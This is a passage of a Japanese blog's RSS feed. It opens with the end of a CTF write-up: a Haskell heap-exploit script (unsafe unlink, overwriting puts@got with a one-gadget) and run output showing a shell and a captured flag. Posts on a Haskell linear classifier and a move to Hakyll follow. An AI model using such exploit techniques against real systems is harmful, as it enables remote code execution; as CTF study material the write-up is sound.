  -- 0x6020f0 &lt;list+48&gt;:     0x00000000006020d8      0x0000000000b833f0
  -- 0x602100 &lt;list+64&gt;:     0x0000000000000000      0x0000000000000000
  -- 0x602110 &lt;list+80&gt;:     0x0000000000000000      0x0000000000000000
  -- 0x602120 &lt;list+96&gt;:     0x0000000000000000      0x0000000000000000
  -- 0x602130 &lt;list+112&gt;:    0x0000000000000000      0x0000000000000000

  info &quot;overwrite list[3] to puts@got via buffer 6&quot;
  let heap_addr_len = BS.length leak1
      libc_addr_len = BS.length leak2
  editNote 6 $ BS.take heap_addr_len $ fromJust $ p64 puts_got

  info &quot;overwrite puts@got to one-gadget-RCE via buffer 3&quot;
  editNote 3 $ BS.take libc_addr_len $ fromJust $ p64 $ libc_base + libc_one_gadget&apos;

  interactive r
```

    $ ./exploit.hs
    [x] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 16317
    [+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 16317: Done
    [*] allocate 0x88 bytes buffer x4 (buffer 0..3)
    [*] free buffer 2 and buffer 0
    [*] allocate 0x88 bytes buffer x2 (buffer 0, buffer 2)
    [*] leak informations
    [+]   heap_base:  0x1181000
    [+]   main_arena: 0x7fd044fcfb20
    [+]   libc_base:  0x7fd044c0b000
    [*] allocate [0x88, 0xf8, 0x88, 0x88] bytes buffer (buffer 4..7)
    [*] free buffer 5
    [*] overwrite chunk 5&apos;s size
    [*] write fake prev_size via buffer 7
    [*] allocate [0x108, 0x88] bytes buffer (buffer 5, buffer 8)
    [*] set chunk 8&apos;s fd and bk, clear prev_inuse flag
    [*] free buffer 5 (unsafe unlink attack!)
    [*] overwrite list[3] to puts@got via buffer 6
    [*] overwrite puts@got to one-gadget-RCE via buffer 3
    [*] Entering interactive mode
    id
    uid=16317069 gid=16317(p16317) groups=16317(p16317)
    ls
    flag
    launch.sh
    simple_note
    cat flag
    TWCTF{unl1nk_4774ck_15_u53fu1_73chn1qu3}
    [*] Leaving interactive mode</content:encoded></item><item><title>簡単な2クラスの線形分類器を実装してみる</title><link>https://myon.info/blog/2018/01/05/haskell-linear-classifier/</link><guid isPermaLink="true">https://myon.info/blog/2018/01/05/haskell-linear-classifier/</guid><pubDate>Fri, 05 Jan 2018 00:00:00 GMT</pubDate><content:encoded>あけましたおめでとうございます (✿╹◡╹)ﾉ

2017年は、今まで通っていた `echo 6auY5bCCCg== | base64 -d` を卒業し、情報の大学に編入しました。編入1年目ということでなかなか他のことに手を出せないくらい忙しかったのは辛かったけれど、念願の CS 講義を受けられるようになりとても充実した1年だった気がします。

今学期履修している講義に「機械学習・パターン認識論」があります。先輩方からの評判も良く、自分自身興味があったこともあり、とても楽しいと感じている講義の1つです。とはいえ、やっぱり数式を眺めていても理解できる気がしないので、コードを書いてみることにしました。

&lt;!--more--&gt;

## 環境

流行りの言語やライブラリはいくつかありますが、どうもモチベが出ないので Haskell でやりました。ちょうどこの記事を書き始めてすぐに LTS Haskell 10.x (ghc-8.2.2) が出たみたいですが、今回はこれで。

- Arch Linux
- Stack (Version 1.6.1)
- LTS Haskell 9.18 (ghc-8.0.2)
    - Chart-1.8.2
    - hmatrix-0.18.0.0
    - hmatrix-gsl-0.18.0.1
    - random-1.1

## 雑なデータセットを作る

まずは乱数でデータセットを作り、それを Chart でプロットしてみます。

```haskell
import           Control.Monad                          (replicateM)
import           Graphics.Rendering.Chart.Backend.Cairo
import           Graphics.Rendering.Chart.Easy
import           System.Random

-- https://stackoverflow.com/a/13669958
instance (Random x, Random y) =&gt; Random (x, y) where
  randomR ((x1, y1), (x2, y2)) gen1 =
    let (x, gen2) = randomR (x1, x2) gen1
        (y, gen3) = randomR (y1, y2) gen2
    in  ((x, y), gen3)
  random = undefined

main :: IO ()
main = do
  c1 &lt;- replicateM 50 $
    getStdRandom $ randomR ((-3.75, 2.25), (-2.25, 3.75)) :: IO [(Double, Double)]
  c2 &lt;- replicateM 50 $
    getStdRandom $ randomR ((-1.75, 1.25), (-0.25, 2.75)) :: IO [(Double, Double)]

  let fo = def { _fo_size   = (480, 480)
               , _fo_format = SVG
               }

  toFile fo &quot;dataset.svg&quot; $ do
    layout_x_axis . laxis_generate .= scaledAxis def (-4, 4)
    layout_x_axis . laxis_title    .= &quot;x1&quot;
    layout_y_axis . laxis_generate .= scaledAxis def (-4, 4)
    layout_y_axis . laxis_title    .= &quot;x2&quot;

    setShapes [PointShapeCircle, PointShapeCircle]
    plot (points &quot;C1&quot; c1)
    plot (points &quot;C2&quot; c2)
```

出力された `dataset.svg` はこんな感じ。
![dataset](./dataset.svg)

この $C_1$ と $C_2$ を分類してみます。

## 最小二乗法でパラメータを求める

識別関数 $y(\boldsymbol{x})$ を次式で表すことにします。

$$
y(\boldsymbol{x}) = \boldsymbol{w}^\top \boldsymbol{x} + w_0
$$

ここで、$\boldsymbol{x}$ は入力ベクトル

$$
\boldsymbol{x} = (x_1, \dots, x_M)^\top
$$

$\boldsymbol{w}$ はパラメータベクトル

$$
\boldsymbol{w} = (w_1, \dots, w_M)^\top
$$

$w_0$ はバイアスパラメータです。

この識別関数が $y(\boldsymbol{x}) \ge 0$ となれば $C_1$ に、$y(\boldsymbol{x}) \lt 0$ となれば $C_2$ に属すとし、これを満たすような $\boldsymbol{w}$、$w_0$ を求めます。

まず、簡単化のため $y(\boldsymbol{x})$ を次のように変形。

$$
y(\boldsymbol{x}) = \tilde{\boldsymbol{w}}^\top \tilde{\boldsymbol{x}},\quad\tilde{\boldsymbol{w}} = (w_0, \boldsymbol{w}^\top)^\top,\quad\tilde{\boldsymbol{x}} = (1, \boldsymbol{x}^\top)^\top
$$

学習データ $\tilde{\boldsymbol{X}}$ と、それに対応する目的 (教師) ベクトル $\boldsymbol{t}$ を次のように定めると

$$
\begin{aligned}
  \tilde{\boldsymbol{X}} &amp;= (\tilde{\boldsymbol{x}}_1, \dots, \tilde{\boldsymbol{x}}_N)^\top \\
         \boldsymbol{t}  &amp;= (t_1, \dots, t_N)^\top \quad
             t_n =
               \begin{cases}
                  1,  &amp; \tilde{\boldsymbol{x}}_n \in C_1 \\
                 -1,  &amp; \tilde{\boldsymbol{x}}_n \in C_2
               \end{cases}
\end{aligned}
$$

パラメータベクトル $\tilde{\boldsymbol{w}}$ に関する2乗誤差関数 $E_D (\tilde{\boldsymbol{w}})$ は次のようになります。

$$
\begin{aligned}
  \boldsymbol{y}(\tilde{\boldsymbol{X}}) &amp;=
    \begin{pmatrix}
      y(\tilde{\boldsymbol{x}}_1) \\
      \vdots              \\
      y(\tilde{\boldsymbol{x}}_N)
    \end{pmatrix}           \\
  E_D (\tilde{\boldsymbol{w}}) &amp;= \frac{1}{2} (\boldsymbol{t} - \boldsymbol{y}(\tilde{\boldsymbol{X}}))^\top
                            (\boldsymbol{t} - \boldsymbol{y}(\tilde{\boldsymbol{X}}))                         \\
                       &amp;= \frac{1}{2} (\boldsymbol{t} - \tilde{\boldsymbol{X}} \tilde{\boldsymbol{w}})^\top
                            (\boldsymbol{t} - \tilde{\boldsymbol{X}} \tilde{\boldsymbol{w}})                  \\
                       &amp;= \frac{1}{2} (\boldsymbol{t}^\top \boldsymbol{t} - \boldsymbol{t}^\top \tilde{\boldsymbol{X}} \tilde{\boldsymbol{w}}
                            - \tilde{\boldsymbol{w}}^\top \tilde{\boldsymbol{X}}^\top \boldsymbol{t}
                            + \tilde{\boldsymbol{w}}^\top \tilde{\boldsymbol{X}}^\top \tilde{\boldsymbol{X}} \tilde{\boldsymbol{w}})
\end{aligned}
$$

この式が最小となる $\tilde{\boldsymbol{w}}$ を求めるため $\tilde{\boldsymbol{w}}$ で微分し

$$
\begin{aligned}
  \frac{\partial E_D(\tilde{\boldsymbol{w}})}{\partial \tilde{\boldsymbol{w}}} &amp;=
    - \tilde{\boldsymbol{X}} ^ \top \boldsymbol{t} + \tilde{\boldsymbol{X}}^\top \tilde{\boldsymbol{X}} \tilde{\boldsymbol{w}}
\end{aligned}
$$

それを $0$ とおくとこうなります。

$$
\begin{aligned}
    \tilde{\boldsymbol{X}}^\top \tilde{\boldsymbol{X}} \tilde{\boldsymbol{w}} &amp;= \tilde{\boldsymbol{X}} ^ \top \boldsymbol{t}     \\
    \tilde{\boldsymbol{w}} &amp;= (\tilde{\boldsymbol{X}} ^ \top \tilde{\boldsymbol{X}}) ^ {-1} \tilde{\boldsymbol{X}} ^ \top \boldsymbol{t} \\
    \tilde{\boldsymbol{w}} &amp;= \tilde{\boldsymbol{X}}^\dagger \boldsymbol{t}
\end{aligned}
$$

これを実装すればパラメータベクトルが求まりそうです。

ということで、まずは `c1` と `c2` から学習データ行列 `mx` と、それに対応する目的ベクトル `mt` をこんな感じで hmatrix のベクトル・行列にしてやります。

```haskell
let xs    = c1 ++ c2
    n     = length xs
    mx    = (n&gt;&lt;3) $ concatMap (\(x1, x2) -&gt; [1.0, x1, x2]) xs
    mt    = vector $ replicate (length c1)   1.0
                  ++ replicate (length c2) (-1.0)
```

パラメータベクトルは一般逆行列を求める hmatrix の関数 [`pinv`](https://hackage.haskell.org/package/hmatrix-0.18.1.0/docs/Numeric-LinearAlgebra.html#v:pinv) を使って次のようにも書けますが

```haskell
let mw    = pinv mx #&gt; mt
```

最小二乗法を解く便利な [`(&lt;\&gt;)`](https://hackage.haskell.org/package/hmatrix-0.18.1.0/docs/Numeric-LinearAlgebra.html#v:-60--92--62-) 演算子があったのでこれを使いました。

```haskell
let mw    = mx &lt;\&gt; mt
```

パラメータベクトルが求まったので、今度は識別境界を引いてみます。識別関数を $y (\boldsymbol{x}) = 0$ として式を変形するとこんな感じになるので

$$
\begin{aligned}
  \tilde{\boldsymbol{w}}^\top \tilde{\boldsymbol{x}} &amp;= 0 \\
  \tilde{w}_0 + \tilde{w}_1 \tilde{x}_1 + \tilde{w}_2 \tilde{x}_2 &amp;= 0 \\
  \tilde{x}_2 &amp;= \frac{- \tilde{w}_0 - \tilde{w}_1 \tilde{x}_1}{\tilde{w}_2}
\end{aligned}
$$

次のようなコードで $(-5, y(-5))$、$(5, y(5))$ となる2点を求め、それを結ぶ直線を描画しました。

```haskell
let x1hat = [-5.0, 5.0]
    x2hat = map (\xi -&gt; (- (mw ! 0) - (mw ! 1) * xi) / (mw ! 2)) x1hat
    yhat  = zip x1hat x2hat

-- ...

toFile fo &quot;ls1.svg&quot; $ do
  layout_x_axis . laxis_generate .= scaledAxis def (-4, 4)
  layout_x_axis . laxis_title    .= &quot;x1&quot;
  layout_y_axis . laxis_generate .= scaledAxis def (-4, 4)
  layout_y_axis . laxis_title    .= &quot;x2&quot;

  setShapes [PointShapeCircle, PointShapeCircle]
  plot (points &quot;C1&quot; c1)
  plot (points &quot;C2&quot; c2)
  plot (line &quot;y&quot;  [yhat])
```

最終的なコードは[これ](https://gist.github.com/Tosainu/8df05092c75a53711efbda52ecec4c64)で、出力された `ls1.svg` はこんな感じになりました。$C_1$ と $C_2$ の間に、それっぽく境界線が引けました。

![ls1](./ls1.svg)

## ロジスティック回帰でパラメータを求める

データ点を生成している箇所をこんな感じに変更し、$C_2$ を $(-1, 2)$ 付近のほかに $(3, -3)$ 付近のデータを含むようにしてみます。

```haskell
-- ...
main :: IO ()
main = do
  c1 &lt;- replicateM 50 $
    getStdRandom $ randomR ((-3.75, 2.25), (-2.25, 3.75)) :: IO [(Double, Double)]
  c21 &lt;- replicateM 25 $
    getStdRandom $ randomR ((-1.75, 1.25), (-0.25, 2.75)) :: IO [(Double, Double)]
  c22 &lt;- replicateM 25 $
    getStdRandom $ randomR ((2.25, -2.25), (3.75, -3.75)) :: IO [(Double, Double)]

  let c2    = c21 ++ c22
-- ...
 ```

すると、出力された画像はこんな感じになってしまいました。最小二乗法は与えた全てのデータに対しての誤差を最小にしようとするので、外れ値や他クラスのデータがあるとそれに影響されてしまうわけですね。

![ls2](./ls2.svg)

そこで、次に示すロジスティック関数 (シグモイド関数) $\sigma (a)$ を使って、識別境界からの距離を確率的な距離 $[0, 1]$ としてみます。

$$
\sigma (a) = \frac{1}{1 + \exp(- a)}
$$

![sigmoid](./sigmoid.svg)

ある入力データ $\tilde{\boldsymbol{x}}$ が与えられたとき、それが $C_1$ に属する確率を $p(1 | \tilde{\boldsymbol{x}})$、そうでない確率を $p(0 | \tilde{\boldsymbol{x}})$ とし、次のように定めます。このように、ある線形関数 $y$ をロジスティック関数で変形したモデルのことを一般化線形モデルと呼ぶらしいです。

$$
\begin{aligned}
  p(1 | \tilde{\boldsymbol{x}}) &amp;= f (\tilde{\boldsymbol{x}}) = \sigma (y (\tilde{\boldsymbol{x}})) = \frac{1}{1 + \exp (- y (\tilde{\boldsymbol{x}}))} \\
  p(0 | \tilde{\boldsymbol{x}}) &amp;= 1 - p(1 | \tilde{\boldsymbol{x}})
\end{aligned}
$$

では、学習データ $\tilde{\boldsymbol{X}}$、目的ベクトル $\boldsymbol{t}$、識別関数 $y (\tilde{\boldsymbol{x}})$ が次のように与えられたときのパラメータベクトル $\tilde{\boldsymbol{w}}$ を求めていきます。

$$
\begin{aligned}
  \tilde{\boldsymbol{X}} &amp;= (\tilde{\boldsymbol{x}}_1, \dots, \tilde{\boldsymbol{x}}_N)^\top \\
         \boldsymbol{t}  &amp;= (t_1, \dots, t_N)^\top \quad
             t_n =
               \begin{cases}
                 1,  &amp; \tilde{\boldsymbol{x}}_n \in C_1 \\
                 0,  &amp; \tilde{\boldsymbol{x}}_n \in C_2
               \end{cases} \\
  y (\tilde{\boldsymbol{x}}) &amp;= \tilde{\boldsymbol{w}}^\top \tilde{\boldsymbol{x}}
\end{aligned}
$$

まず、先ほど示した確率の式は、次のようにも書けるので

$$
p(y | \tilde{\boldsymbol{x}}) = (f (\tilde{\boldsymbol{x}}))^y (1 - f(\tilde{\boldsymbol{x}}))^{1 - y}
$$

尤度関数 $L (\tilde{\boldsymbol{w}})$ と対数尤度 $\log L (\tilde{\boldsymbol{w}})$ を次のように表すことができます。

$$
\begin{aligned}
  L (\tilde{\boldsymbol{w}}) &amp;= \prod_{i = 1}^{N} p (t_i | \tilde{\boldsymbol{x}}_i)  \\
                     &amp;= \prod_{i = 1}^{N} (f (\tilde{\boldsymbol{x}}_i))^{t_i} (1 - f(\tilde{\boldsymbol{x}}_i))^{1 - t_i} \\
  \log L (\tilde{\boldsymbol{w}}) &amp;= \sum_{i = 1}^{N} t_i \log f (\tilde{\boldsymbol{x}}_i)
                              + (1 - t_i) \log (1 - f(\tilde{\boldsymbol{x}}_i))
\end{aligned}
$$

この対数尤度が最大となるような $\tilde{\boldsymbol{w}}$ を求めることができれば良さそうです。

ということで、まずは $\sigma (x)$ を求める `sigmoid` と、それをベクトル・行列に適用する `sigmoid&apos;` 関数をこんな感じに実装しました。[`cmap`](https://hackage.haskell.org/package/hmatrix-0.18.1.0/docs/Numeric-LinearAlgebra-Data.html#v:cmap) は、ベクトルや行列の全要素に任意の関数を適用できる関数です。

```haskell
sigmoid :: Floating a =&gt; a -&gt; a
sigmoid x = 1.0 / (1.0 + exp (-x))

sigmoid&apos; :: (Container c e, Floating e) =&gt; c e -&gt; c e
sigmoid&apos; = cmap sigmoid
```

パラメータベクトルは最小二乗法では求められない？ようなので、hmatrix-gsl パッケージの [`minimizeVD`](https://hackage.haskell.org/package/hmatrix-gsl-0.18.0.1/docs/Numeric-GSL-Minimization.html#v:minimizeVD) 関数を使って最急降下法で近似的に求めることにしました。

今回は最大化をしたいので、最小化したい関数には対数尤度に $- 1$ を掛けたものを

$$
\begin{aligned}
  ll (\tilde{\boldsymbol{w}}) &amp;= - \log L (\tilde{\boldsymbol{w}}) \\
                      &amp;= - \sum_{i = 1}^{N} t_i \log f (\tilde{\boldsymbol{x}}_i)
                         + (1 - t_i) \log (1 - f(\tilde{\boldsymbol{x}}_i))       \\
                      &amp;= - \boldsymbol{t}^\top \log \boldsymbol{f} (\tilde{\boldsymbol{X}})
                         - (\boldsymbol{1} - \boldsymbol{t}) ^ \top \log (\boldsymbol{1} - \boldsymbol{f} (\tilde{\boldsymbol{X}}))
\end{aligned}
$$

勾配は、$\sigma&apos; (a) = \sigma (a) (1 - \sigma (a))$ を用いて

$$
\begin{aligned}
  \frac{\partial ll (\tilde{\boldsymbol{w}})}{\partial \tilde{\boldsymbol{w}}} &amp;=
       - \sum_{i = 1}^{N} \Big(\frac{t_i}{f (x_i)} - \frac{1 - t_i}{1 - f (x_i)} \Big)
           f (x_i) (1 - f (x_i)) \frac{\partial}{\partial \tilde{w}_i} \tilde{w}_i \tilde{x}_i  \\
    &amp;= - \sum_{i = 1}^{N} (t_i (1 - f (x_i)) - (1 - t_i) f (x_i)) x_i \\
    &amp;= - \sum_{i = 1}^{N} (t_i - f (x_i)) x_i \\
    &amp;= \tilde{\boldsymbol{X}}^\top (\boldsymbol{f} (\tilde{\boldsymbol{X}}) - \boldsymbol{t})
\end{aligned}
$$

求めた2つの関数と適当なパラメータをこんな感じで渡してやります。

```haskell
let f   x   w = sigmoid&apos; (x #&gt; w)
    ll  x y w = -y &lt;.&gt; log (f x w) - (1 - y) &lt;.&gt; log (1 - f x w)
    dll x y w = tr x #&gt; (f x w - y)

    (mw, p)  = minimizeVD SteepestDescent 10e-3 3000 10e-4 10e-4
                  (ll mx mt)
                  (dll mx mt)
                  (vector [1, 1, 1])
```

最終的なコードは[これ](https://gist.github.com/Tosainu/02784b8e1233158436e623633a2b50b5)で、出力された `logistic.svg` はこんな感じになりました。最小二乗法のときに発生した境界線の傾きはなく、いい感じに線が引けました。

![logistic](./logistic.svg)

## まとめ

Haskell で、2次元の線形分類器を最小二乗法、ロジスティック回帰の2手法で実装してみました。コードの実装とブログ記事にまとめる作業を通して、特にロジスティック回帰にあったモヤモヤを解決できたのは良かったなという感じです。

最終的には MNIST みたいな有名なデータセットを分類してみたりしたかったのですが、時間がなさそうなので断念。他クラス分類、パーセプトロン、SVM 等も一度実装してみたいけど...

## 参考文献

- 機械学習・パターン認識論 講義資料
- [Least squares in matrix form](http://global.oup.com/booksites/content/0199268010/samplesec3)
- [Generalized inverse - Wikipedia](https://en.wikipedia.org/wiki/Generalized_inverse)
- [Unsupervised Feature Learning and Deep Learning Tutorial](http://ufldl.stanford.edu/tutorial/supervised/LogisticRegression/)</content:encoded></item><item><title>ブログを Hakyll に移行した</title><link>https://myon.info/blog/2018/03/21/hakyll/</link><guid isPermaLink="true">https://myon.info/blog/2018/03/21/hakyll/</guid><pubDate>Wed, 21 Mar 2018 00:00:00 GMT</pubDate><content:encoded>[Middleman](https://middlemanapp.com/) で構築していたこのブログを、Haskell 製の静的サイトジェネレータである [Hakyll](https://jaspervdj.be/hakyll/) に移行しました。

&lt;!--more--&gt;

## 移行した理由

主な理由は次の通り

- **Middleman 4.x になってからの不安定さに耐えられなくなった**
- 以前から Hakyll 興味があった
- 普段書かない言語で設定を書くのはつらい

この中でも、特に1つ目の要因が大きいです。

まず、重くなりました。以前 Travis CI 上で数分で済んでいた記事のビルドが、今では10分を超えることもあります。また、Middleman ではページの変更を監視してプレビューに反映させる Livereload を利用できるのですが、これも今では10~20秒程度 CPU 食いつぶさないと反映されなくなってしまいました。

なかなか Middleman から移行できなかった理由でもあるフロントエンドライブラリの扱いやすさ (`Gemfile` に記述するだけで利用できる、Rails のおかげで gem も豊富) も微妙になってしまいました。この機能を実現していた部分が middleman-sprockets に分離され、またその利用はあまり推奨されなくなりました。その middleman-sprockets も、初期は middleman が起動しなくなるほど不安定で、そこそこ動くようになってからも gem の種類やバージョンの違いでフロントエンドライブラリがロードできたりできなかったりで、更新のたびに動作する組み合わせを探さないといけないのは不満でした。

## 移行してみて

### Hakyll の Rules

Hakyll では、「どのファイルを、どう加工して、どこに出力するか」という設定 (rule) を、出力するファイル全てに対して記述する必要があります。例えばこんな感じ。

```haskell
main :: IO ()
main = hakyll $ do
  -- css/ 下のファイルを、minify して、/css/* に出力
  match &quot;css/*&quot; $ do
    route   idRoute
    compile compressCssCompiler

  -- entry/ 下の Markdown ファイルを、pandoc で変換して、/entry/*.html に出力
  match &quot;entry/*.md&quot; $ do
    route $ setExtension &quot;html&quot;
    compile pandocCompiler
```

このため、複雑な設定ができる反面、出力先を指定するだけのような Middleman と比較すると記述量は多くなります。コード書くのは好きなので記述量が増えるのはいいのですが、Middleman で実現していたものと同じ出力をする rule を記述するのは、Hakyll が初めてということもあってちょっと大変でした。

この Rules の設定をもとに、Hakyll では対象の依存関係を調べ、ページを更新するかなどの判断をしているようです。この依存関係の管理が賢くて驚きました。例えばこんな rule があったとします。

```haskell
match &quot;posts/*&quot; $ do
  route $ setExtension &quot;html&quot;
  compile $ do
    posts &lt;- recentFirst =&lt;&lt; loadAll &quot;posts/*&quot;
    let ctx = listField &quot;posts&quot; postCtx (return posts)
            &lt;&gt; postCtx

    pandocCompiler
      &gt;&gt;= loadAndApplyTemplate &quot;templates/post.html&quot;    ctx
      &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; ctx
      &gt;&gt;= relativizeUrls
```

これを実行してみると、こんなエラーをだして終了します

    $ stack exec myon rebuild
    Removing _site...
    Removing _cache...
    Removing _cache/tmp...
    Initialising...
      Creating store...
      Creating provider...
      Running rules...
    Checking for out-of-date items
    Compiling
      updated templates/default.html
      updated about.rst
      [ERROR] Hakyll.Core.Runtime.chase: Dependency cycle detected: posts/2015-08-23-example.markdown depends on posts/2015-08-23-example.markdown

`&quot;posts/*&quot;` に対する rule の中で `&quot;posts/*&quot;` の情報を取得しているので、自身が自身に依存するという状況ができてしまいます。このような依存関係のループも検出してくれるみたいです。

ちなみに、このようなルールを実現したいときは、コンパイルの途中の結果を保存しておく snapshot を利用すると良さそうです。

```haskell
match &quot;posts/*&quot; $ do
  route $ setExtension &quot;html&quot;
  compile $ do
    -- pandoc でコンパイルした結果を &quot;content&quot; という名前で snapshot を取る
    r &lt;- pandocCompiler
      &gt;&gt;= saveSnapshot &quot;content&quot;

    -- &quot;posts/*&quot; の記事の &quot;content&quot; という名前の snapshot を読み込む
    posts &lt;- recentFirst =&lt;&lt; loadAllSnapshots &quot;posts/*&quot; &quot;content&quot;
    let ctx = listField &quot;posts&quot; postCtx (return posts)
            &lt;&gt; postCtx

    -- コンパイルの続き
    loadAndApplyTemplate &quot;templates/post.html&quot; ctx r
      &gt;&gt;= loadAndApplyTemplate &quot;templates/default.html&quot; ctx
      &gt;&gt;= relativizeUrls
```

### Pandoc の拡張

Markdown はたくさんの方言があることで有名です。Hakyll が記事のビルドに使っている Pandoc も特徴的な Markdown を実装している処理系の1つで、[Pandoc User’s Guide](https://pandoc.org/MANUAL.html) にはたくさんの拡張が紹介されています。基本的な文法[^2]に大きく手を加えているようなことはないようで、記事の修正はほとんどいらなかった[^3]のは助かりました。

[^2]: 何を基本的な文法とするかは微妙だけど...

[^3]: ネストしたリストの小要素のインデントが4文字じゃないといけなかった点と、Middleman 時代に数式表示のために加えていた拡張の修正はした

Hakyll における Pandoc の拡張の有効無効は、[`pandocCompilerWith`](https://hackage.haskell.org/package/hakyll-4.11.0.0/docs/Hakyll-Web-Pandoc.html#v:pandocCompilerWith) を使って任意の [`ReaderOptions`](https://hackage.haskell.org/package/pandoc-2.1/docs/Text-Pandoc-Options.html#t:ReaderOptions) と [`WriterOptions`](https://hackage.haskell.org/package/pandoc-2.1/docs/Text-Pandoc-Options.html#t:WriterOptions) を渡してやることで実現できます。例えばこのブログでは、こんな感じの `ReaderOptions` を設定しています。

```haskell
main :: IO ()
main = hakyll $ do
  match &quot;posts/*&quot; $ do
    route $ setExtension &quot;html&quot;
    compile $ pandocCompilerWith readerOptions writerOptions

    -- ...

readerOptions :: ReaderOptions
readerOptions = defaultHakyllReaderOptions
  { readerExtensions = enableExtension  Ext_east_asian_line_breaks $
                       enableExtension  Ext_emoji $
                       disableExtension Ext_citations $
                       readerExtensions defaultHakyllReaderOptions
  }

writerOptions :: WriterOptions
writerOptions = -- ...
```

`Ext_emoji` 拡張は、`:sushi:` を :sushi: に変えてくれるものです。また `Ext_citations` 拡張を無効にしているのは、`[@myon___](https://twitter.com/myon___)` のような `@` で始まるリンクを貼ろうとしたときにこっちの文法が呼び出されてしまったためです。

ちなみに、先程の例では `WriterOptions` を省略していますが、`ReaderOptions` も `WriterOptions` もたくさん設定があるので、どちらも一度確認してみるといいと思います。例えばこのブログでは、`WriterOptions` の `writerHTMLMathMethod` に `KaTeX` を設定しています。この設定をすると、本文中の数式を `math` class のついた `div` や `span` で囲ってくれます。[Middleman 時代には独自の拡張を加えていましたが](/blog/2016/07/03/new-design/)、この辺がデフォルトで対応しているのはいいですね。

### 記事のビルドは早くなったけど...

Hakyll に移行した結果、予想通り記事のビルドは早くなりました。Middleman のときとほぼ同じ構成のページを出力するように設定して手元の環境で比較してみたところ、Middleman が約5分30秒、Hakyll が約1分30秒という感じでした。複雑なルールなだけあって Hakyll の Example と比較するとかなり速度が落ちてしまいましたが、それでも十分早いです。処理自体もそこまで重いものではなく、CPU のコア全てに負荷がかかったりしないのもいいですね。

ただし、Hakyll では記事をビルドする前に、自分の設定ファイルと Hakyll をはじめとする依存パッケージをビルドする必要があります。Hakyll は Pandoc のような大きなパッケージにも依存しているので、初回のビルド時間全体で比較すると Hakyll のほうが確実に時間が掛かってしまいます。そこはまぁ、仕方ないですね...

### Travis CI でのビルドが out of memory / maximum time limit で失敗する

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;えぇ... / &lt;a href=&quot;https://t.co/JReauEoUdA&quot;&gt;https://t.co/JReauEoUdA&lt;/a&gt;&lt;/p&gt;&amp;mdash; (✿╹◡╹)ﾉ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/975649670222397441?ref_src=twsrc%5Etfw&quot;&gt;March 19, 2018&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

最初に Travis CI 上でビルドさせてみたところ、依存パッケージのビルドがこんなメッセージを出して失敗しました。

    --  While building custom Setup.hs for package Cabal-2.0.1.1 using:
          /home/travis/.stack/setup-exe-cache/x86_64-linux/Cabal-simple_mPHDZzAJ_2.0.1.0_ghc-8.2.2 --builddir=.stack-work/dist/x86_64-linux/Cabal-2.0.1.0 build --ghc-options &quot; -ddump-hi -ddump-to-file&quot;
        Process exited with code: ExitFailure (-9) (THIS MAY INDICATE OUT OF MEMORY)
        Logs have been written to: /home/travis/build/Tosainu/blog/.stack-work/logs/Cabal-2.0.1.1.log

[Build Environment Overview - Travis CI](https://docs.travis-ci.com/user/reference/overview/) によれば Container-based 環境の Memory の欄は **4GB max** となっていました。起動の速さから Container-based 環境を利用していましたが、7.5GB 使える Sudo-enabled 環境に切り替えることにしました。

で、これで解決するかと思いきや... [Build #118 - Tosainu/blog - Travis CI](https://travis-ci.org/Tosainu/blog/builds/355674436#L1741)

    The job exceeded the maximum time limit for jobs, and has been terminated.

今度はビルドの最終段階でこんなメッセージを出してジョブが中断されてしまいました。あとキャッシュをアップロードするだけじゃん...

結局、この問題は [Haskell-jp Blog](https://github.com/haskell-jp/blog) でやっているような方法で解決できました。Beta 機能の [Build Stages](https://docs.travis-ci.com/user/build-stages/) を使って Job を分割し、Out of memory しちゃう Cabal や時間のかかる Panoc のビルドを別々に行うというものです。`.travis.yaml` の一部を載せるとこんな感じ。

```yaml
sudo: false
dist: trusty

language: generic

install:
  - stack のインストールとかする

jobs:
  include:
    - stage:  install npm packages
      script: npm install

    - stage:  build cabal
      script: stack --no-terminal build -j 1 Cabal
    - stage:  build pandoc
      script: travis_wait 30 stack --no-terminal build pandoc
    - stage:  build other dependencies
      script: stack --no-terminal build  --only-dependencies

    - stage: deploy site
      script: ...

cache:
  directories:
    - $HOME/.stack
    - .stack-work
    - node_modules
```

時間のかかるビルドは Travis CI で問題になりそうだなあと予想はしていたけど、ここまで苦労することになるとは思わなかった...

あと、これはまだ検証していないけれども、[Cron Jobs](https://docs.travis-ci.com/user/cron-jobs/) で定期的にビルドを回してキャッシュを更新し続けるのもやってみようかなと思っています。記事を追加しただけなのにキャッシュの期限が切れてて全体の再ビルドが掛かったりするのは (╯•﹏•╰) なので。

## その他いろいろ

### テンプレートに Lucid を使いたい

Hakyll には独自のテンプレートエンジンが実装されていますが、せっかくなので以前 Haskell のプロの方が紹介していた[^1]テンプレートエンジンである [Lucid](https://github.com/chrisdone/lucid) を使ってみることにしました。Lucid は、こんな感じに HTML を出力することができるパッケージです。

```haskell
λ&gt; :m +Lucid Data.Monoid 
λ&gt; div_ (p_ (&quot;hello, &quot; &lt;&gt; strong_ &quot;World!&quot;)) :: Html ()
&lt;div&gt;&lt;p&gt;hello, &lt;strong&gt;World!&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;
```

[^1]: 今確認したら記事消えてた...

[lfairy さんの Github pages](https://github.com/lfairy/lfairy.github.io) が Lucid を使ってテンプレートを書いていたので、これを参考にさせてもらいました。ただ、テンプレート側で `ContextField` を受け取るために、こんな感じにラムダ式使っているのがちょっと気に入らなかったのでいじってみました。

```haskell
postTemplate = LucidTemplate $ \ask -&gt; do
  StringField body &lt;- lift $ ask &quot;body&quot;
  -- ...
```

Lucid は Monad Transformer としても使えるので、`LucidTemplate` の中身を [`HtmlT`](https://hackage.haskell.org/package/lucid-2.9.10/docs/Lucid-Base.html#t:HtmlT) と [`ReaderT`](https://hackage.haskell.org/package/transformers-0.5.5.0/docs/Control-Monad-Trans-Reader.html#t:ReaderT) を組み合わせたものにしてみます。

```haskell
type LucidTemplateMonad a r = HtmlT (ReaderT (Context a, Item a) Compiler) r

newtype LucidTemplate a = LucidTemplate
